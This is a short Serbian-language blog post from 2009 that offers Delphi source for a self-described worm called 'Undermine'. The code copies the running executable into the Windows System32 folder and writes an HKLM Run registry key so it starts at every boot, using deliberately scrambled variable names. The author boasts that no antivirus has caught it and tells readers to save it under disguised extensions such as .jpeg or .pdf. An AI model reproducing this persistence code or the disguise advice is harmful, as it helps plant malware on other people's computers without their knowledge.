"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
"Ovo je Undermine program" Ako zelite da mu izmenite neke funkcije Luxilius tada nece raditi !
"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U Program Undermine ubacio sam kod koji pomaze Worm drajveru da se pretvori u duha tokom gmizenja i kreiranja propusta
" za sad uz ovaj program me jos nijedan anti-virus i anti-hacker nije nasao..."
" Sada otvorite vas notepad i iskopirajte tekst koji se nalazi ispod ovih zvezdica , zatim fajl nazovite kako vi zelite u nekom od ovih formata
" .jpeg | .exe | .pdf | .iso | .reg | .ini | .unix "
" Kad ga nazovete po zelji tad dole vam je opcija ANSI , medjutim vi izaberite UTF-8 ili Unicode...
**************************************************
program Undermine;
// define icon file
{$R icon.res}
uses
SysUtils, Windows, Math, Registry;
var
lqf: TRegistry;
//w0rm exe name
uszidrv: String = 'Undermine.exe';
// p2p exe names, modify the array!
cck5: array [0..2] of string = (
'rc77.exe','np33.exe','lw36.exe');
//getting system32 dir func
function qwxbn: string;
var
wiv2: array [0..MAX_PATH+1] of Char;
begin
GetSystemDirectory(wiv2, MAX_PATH);
Result:=string(wiv2);
end;
//copy w0rm to system32 folder, add w0rm to registry procedure
procedure ofcuyb;
begin
CopyFile(PChar(ParamStr(0)),Pchar(qwxbn+'\'+uszidrv), false);
lqf:=TRegistry.Create;
lqf.RootKey:=HKEY_LOCAL_MACHINE;
lqf.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', false);
lqf.WriteString(uszidrv,qwxbn+'\'+uszidrv);
lqf.CloseKey;
lqf.Free;
end;
//begin w0rm main c0de, call our func's/proc's and run the shit :p
begin
//add w0rm2reg
ofcuyb;
end.
Post je objavljen 20.04.2009. u 11:47 sati.